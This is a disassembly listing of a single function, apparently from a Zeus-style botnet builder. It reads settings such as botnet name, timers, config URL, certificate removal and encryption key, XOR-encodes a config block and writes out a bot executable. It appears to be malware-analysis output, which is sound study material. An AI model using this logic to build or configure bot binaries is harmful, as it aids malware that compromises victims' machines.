Function at 0x40271a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x63c
push ebx
push esi
push edi
push 0x1d
pop ecx
call fcn.00403104
mov esi, dword [ebp + 0xc]
push eax
push esi
call fcn.00402e3f
pop ecx
pop ecx
lea eax, [esp + 0x138]
push eax
call fcn.004026e7
push 0x1e
pop ecx
call fcn.00403104
push eax
push esi
call fcn.00402e3f
pop ecx
pop ecx
mov ecx, dword [ebp + 0x10]
xor edi, edi
push str.staticconfig
push edi
xor eax, eax
mov dword [esp + 0x2a4], edi
call fcn.00404d41
mov ebx, eax
mov dword [esp + 0x10], ebx
cmp ebx, edi
jne 0x40278d
push 0x24
pop ecx
call fcn.00403104
push eax
push esi
jmp 0x402e2d
xor eax, eax
push edi
mov word [esp + 0x182], ax
push str.botnet
xor ecx, ecx
mov eax, ebx
call fcn.00404d41
cmp eax, edi
je 0x40283a
cmp byte [eax + 4], 1
jbe 0x40283a
mov eax, dword [eax]
mov eax, dword [eax + 4]
cmp byte [eax], 0
je 0x40283a
push eax
push 0xfde9
or eax, 0xffffffff
call fcn.00403756
mov edx, eax
cmp edx, edi
jne 0x4027da
xor ecx, ecx
jmp 0x402781
mov ecx, edx
call fcn.004039e6
cmp eax, 0x14
jle 0x402814
push edx
call fcn.0040361d
push 0x14
push 0x25
pop ecx
call fcn.00403104
push eax
push 0x64
pop edx
lea edi, [esp + 0x38]
call fcn.004039fa
mov eax, edi
push eax
push esi
call fcn.00402ebe
add esp, 0x10
jmp 0x402e34
call fcn.004039e6
add eax, eax
push eax
push edx
lea ecx, [esp + 0x186]
push ecx
call fcn.00403659
xor ecx, ecx
push edx
mov word [esp + eax + 0x182], cx
call fcn.0040361d
lea eax, [esp + 0x17e]
push eax
push str.botnet_s
push esi
call fcn.00402e3f
add esp, 0xc
push edi
push str.timer_config
xor ecx, ecx
mov eax, ebx
call fcn.00404d41
mov esi, eax
cmp esi, edi
je 0x402877
cmp byte [esi + 4], 1
jbe 0x402877
mov eax, dword [esi]
mov eax, dword [eax + 4]
call fcn.00403862
jmp 0x40287a
push 0x3c
pop eax
shl eax, 0x10
mov dword [esp + 0x2d4], eax
cmp esi, edi
je 0x40289a
cmp byte [esi + 4], 2
jbe 0x40289a
mov eax, dword [esi]
mov eax, dword [eax + 8]
call fcn.00403862
jmp 0x40289d
push 0xa
pop eax
movzx ecx, ax
mov eax, dword [esp + 0x2d4]
or eax, ecx
movzx ecx, ax
push ecx
mov dword [esp + 0x2d8], eax
shr eax, 0x10
push eax
push str.timer_config_umin___umin
push dword [ebp + 0xc]
call fcn.00402e3f
add esp, 0x10
push edi
push str.timer_logs
xor ecx, ecx
mov eax, ebx
call fcn.00404d41
mov esi, eax
push 5
pop ebx
cmp esi, edi
je 0x4028f2
cmp byte [esi + 4], 1
jbe 0x4028f2
mov eax, dword [esi]
mov eax, dword [eax + 4]
call fcn.00403862
jmp 0x4028f4
mov eax, ebx
shl eax, 0x10
mov dword [esp + 0x31c], eax
cmp esi, edi
je 0x402914
cmp byte [esi + 4], 2
jbe 0x402914
mov eax, dword [esi]
mov eax, dword [eax + 8]
call fcn.00403862
jmp 0x402916
mov eax, ebx
movzx ecx, ax
mov eax, dword [esp + 0x31c]
or eax, ecx
movzx ecx, ax
push ecx
mov dword [esp + 0x320], eax
shr eax, 0x10
push eax
push str.timer_logs_umin___umin
push dword [ebp + 0xc]
call fcn.00402e3f
mov eax, dword [esp + 0x20]
add esp, 0x10
push edi
push str.timer_stats
xor ecx, ecx
call fcn.00404d41
mov esi, eax
cmp esi, edi
je 0x40296a
cmp byte [esi + 4], 1
jbe 0x40296a
mov eax, dword [esi]
mov eax, dword [eax + 4]
call fcn.00403862
jmp 0x40296c
mov eax, ebx
shl eax, 0x10
mov dword [esp + 0x30c], eax
cmp esi, edi
je 0x40298c
cmp byte [esi + 4], 2
jbe 0x40298c
mov eax, dword [esi]
mov eax, dword [eax + 8]
call fcn.00403862
jmp 0x40298e
mov eax, ebx
movzx ecx, ax
mov eax, dword [esp + 0x30c]
or eax, ecx
movzx ecx, ax
push ecx
mov dword [esp + 0x310], eax
shr eax, 0x10
push eax
push str.timer_stats_umin___umin
push dword [ebp + 0xc]
call fcn.00402e3f
mov eax, dword [esp + 0x20]
add esp, 0x10
push edi
push str.url_config
xor ecx, ecx
call fcn.00404d41
mov esi, eax
cmp esi, edi
je 0x402e21
cmp byte [esi + 4], 2
jb 0x402e21
mov eax, dword [esi]
mov ecx, dword [eax + 4]
call fcn.004039d4
mov ebx, eax
cmp ebx, edi
je 0x402e21
cmp ebx, 0x64
jbe 0x402a19
push 0x64
push 0x27
pop ecx
call fcn.00403104
push eax
push 0x64
pop edx
lea edi, [esp + 0x38]
call fcn.004039fa
mov eax, edi
push eax
push dword [ebp + 0xc]
jmp 0x402807
push ecx
push 0xfde9
or eax, 0xffffffff
call fcn.00403756
mov edi, eax
test edi, edi
jne 0x402a34
xor ecx, ecx
jmp 0x402e24
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
mov eax, ebx
cmp ebx, 0xffffffff
jne 0x402a45
call fcn.004039d4
push eax
push ecx
lea ecx, [esp + 0x211]
push ecx
call fcn.00403659
mov ebx, dword [ebp + 0xc]
push edi
push str.url_config_s
push ebx
mov byte [esp + eax + 0x215], 0
call fcn.00402e3f
add esp, 0xc
push edi
call fcn.0040361d
mov eax, dword [esp + 0x10]
xor esi, esi
push esi
push str.remove_certs
xor ecx, ecx
call fcn.00404d41
cmp eax, esi
je 0x402a9f
cmp byte [eax + 4], 2
jb 0x402a9f
mov eax, dword [eax]
mov eax, dword [eax + 4]
call fcn.00403862
test eax, eax
je 0x402aaa
or dword [esp + 0x29c], 0x80000000
mov eax, dword [esp + 0x29c]
shr eax, 0x1f
push eax
push str.remove_certs_u
push ebx
call fcn.00402e3f
mov eax, dword [esp + 0x1c]
add esp, 0xc
push esi
push str.disable_tcpserver
xor ecx, ecx
call fcn.00404d41
cmp eax, esi
je 0x402af7
cmp byte [eax + 4], 1
jbe 0x402af7
mov eax, dword [eax]
mov eax, dword [eax + 4]
call fcn.00403862
test eax, eax
je 0x402af7
or dword [esp + 0x29c], 0x800
mov eax, dword [esp + 0x29c]
shr eax, 0xb
and eax, 1
push eax
push str.disable_tcpserver_u
push ebx
call fcn.00402e3f
mov eax, dword [esp + 0x1c]
add esp, 0xc
push esi
push str.encryption_key
xor ecx, ecx
call fcn.00404d41
cmp eax, esi
je 0x402e1a
cmp byte [eax + 4], 2
jb 0x402e1a
mov eax, dword [eax]
mov ecx, dword [eax + 4]
call fcn.004039d4
cmp eax, 1
jb 0x402e1a
push eax
push ecx
lea eax, [esp + 0x330]
call fcn.0040489b
push str.encryption_keyOK
push ebx
call fcn.00402e3f
pop ecx
pop ecx
push 0x1f
pop ecx
call fcn.00403104
push eax
push ebx
call fcn.00402e3f
pop ecx
pop ecx
lea eax, [esp + 0x30]
push eax
call fcn.00404f87
test eax, eax
jne 0x402b92
push 0x29
pop ecx
call fcn.00403104
push eax
push ebx
jmp 0x402e2d
mov edi, dword [esp + 0x38]
lea eax, [esp + 0x14]
push eax
mov eax, 0x4037b8
sub eax, dword [edi + 0x34]
lea ecx, [esp + 0x34]
call fcn.00405668
cmp eax, esi
jne 0x402bbb
lea esi, [esp + 0x30]
call fcn.00405117
jmp 0x402b83
mov esi, dword [esp + 0xc4]
xor ecx, ecx
mov ebx, 0x304
mov edx, dword [esi + 8]
mov dl, byte [ecx + edx]
xor byte [esp + ecx + 0x138], dl
inc ecx
cmp ecx, ebx
jb 0x402bc9
push ebx
lea ecx, [esp + 0x13c]
push ecx
movzx ecx, word [esp + 0x1c]
mov ecx, dword [esi + ecx*4]
add ecx, eax
push ecx
call fcn.00403659
mov edi, dword [edi + 0x34]
lea eax, [esp + 0x14]
push eax
mov eax, 0x41462e
sub eax, edi
lea ecx, [esp + 0x34]
call fcn.00405668
mov dword [esp + 0x18], eax
lea eax, [esp + 0x10]
push eax
mov eax, 0x41499a
sub eax, edi
lea ecx, [esp + 0x34]
call fcn.00405668
cmp dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
je 0x402e0d
test eax, eax
je 0x402e0d
and dword [esp + 0x1c], 0
xor edi, edi
inc edi
call fcn.00404808
mov ecx, dword [esp + 0x1c]
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 4
mov byte [esp + ecx + 0x24], al
jb 0x402c41
movzx eax, word [esp + 0x14]
mov eax, dword [esi + eax*4]
push dword [esp + 0x24]
add eax, dword [esp + 0x1c]
call fcn.00405be4
push dword [esp + 0x24]
mov dword [esp + 0x2c], eax
movzx eax, word [esp + 0x14]
mov eax, dword [esi + eax*4]
add eax, dword [esp + 0x24]
call fcn.00405be4
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x10]
xor edi, edi
push eax
lea esi, [esp + 0x34]
mov dword [esp + 0x14], edi
call fcn.00405357
mov dword [esp + 0x18], eax
cmp eax, edi
jne 0x402cae
mov dword [esp + 0x10], edi
lea esi, [esp + 0x30]
call fcn.00405117
cmp dword [esp + 0x10], edi
je 0x402a2d
push dword [esp + 0x18]
push 0x20
pop ecx
call fcn.00403104
push eax
push 0x64
pop edx
lea edi, [esp + 0x38]
call fcn.004039fa
mov eax, edi
push eax
push dword [ebp + 0xc]
call fcn.00402e3f
add esp, 0x10
push ebx
lea eax, [esp + 0x13c]
push eax
lea eax, [esp + 0x38]
call fcn.0040489b
mov ebx, dword [esp + 0x18]
lea edi, [ebx + 0x200]
mov eax, edi
lea esi, [esp + 0x10]
call fcn.004035b5
test al, al
je 0x402dff
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x28]
push eax
mov eax, dword [esp + 0x18]
lea esi, [ebx + eax]
call fcn.00405b75
test al, al
je 0x402dff
mov ecx, dword [ebp + 0x10]
push str.dynamicconfig
xor esi, esi
push esi
xor eax, eax
call fcn.00404d41
test eax, eax
je 0x402d8a
push esi
push str.url_loader
xor ecx, ecx
call fcn.00404d41
test eax, eax
je 0x402d8a
cmp byte [eax + 4], 1
jbe 0x402d8a
mov eax, dword [eax]
push dword [eax + 4]
call dword [0x4080dc]
test eax, eax
je 0x402d8a
cmp byte [eax], 0
je 0x402d8a
push eax
push 0xfde9
or eax, 0xffffffff
call fcn.00403756
mov esi, eax
test esi, esi
jne 0x402d91
mov eax, str.bot.exe
jmp 0x402d93
mov eax, esi
lea ecx, [esp + 0x440]
push ecx
call fcn.00404add
push esi
call fcn.0040361d
lea eax, [esp + 0x440]
push eax
push dword [ebp + 8]
call fcn.00404e61
test al, al
je 0x402dd4
push edi
push dword [esp + 0x14]
lea eax, [esp + 0x448]
push eax
call fcn.00404996
test al, al
je 0x402dd4
mov bl, 1
jmp 0x402dd6
xor bl, bl
push dword [esp + 0x10]
call fcn.0040361d
test bl, bl
jne 0x402de8
xor ecx, ecx
inc ecx
jmp 0x402e24
push 0x21
pop ecx
call fcn.00403104
push eax
push dword [ebp + 0xc]
call fcn.00402e3f
pop ecx
pop ecx
mov al, 1
jmp 0x402e36
push dword [esp + 0x10]
call fcn.0040361d
jmp 0x402a2d
lea esi, [esp + 0x30]
call fcn.00405117
push 0x29
jmp 0x402e23
push 0x28
jmp 0x402b85
push 0x26
pop ecx
call fcn.00403104
push eax
push dword [ebp + 0xc]
call fcn.00402ebe
pop ecx
pop ecx
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc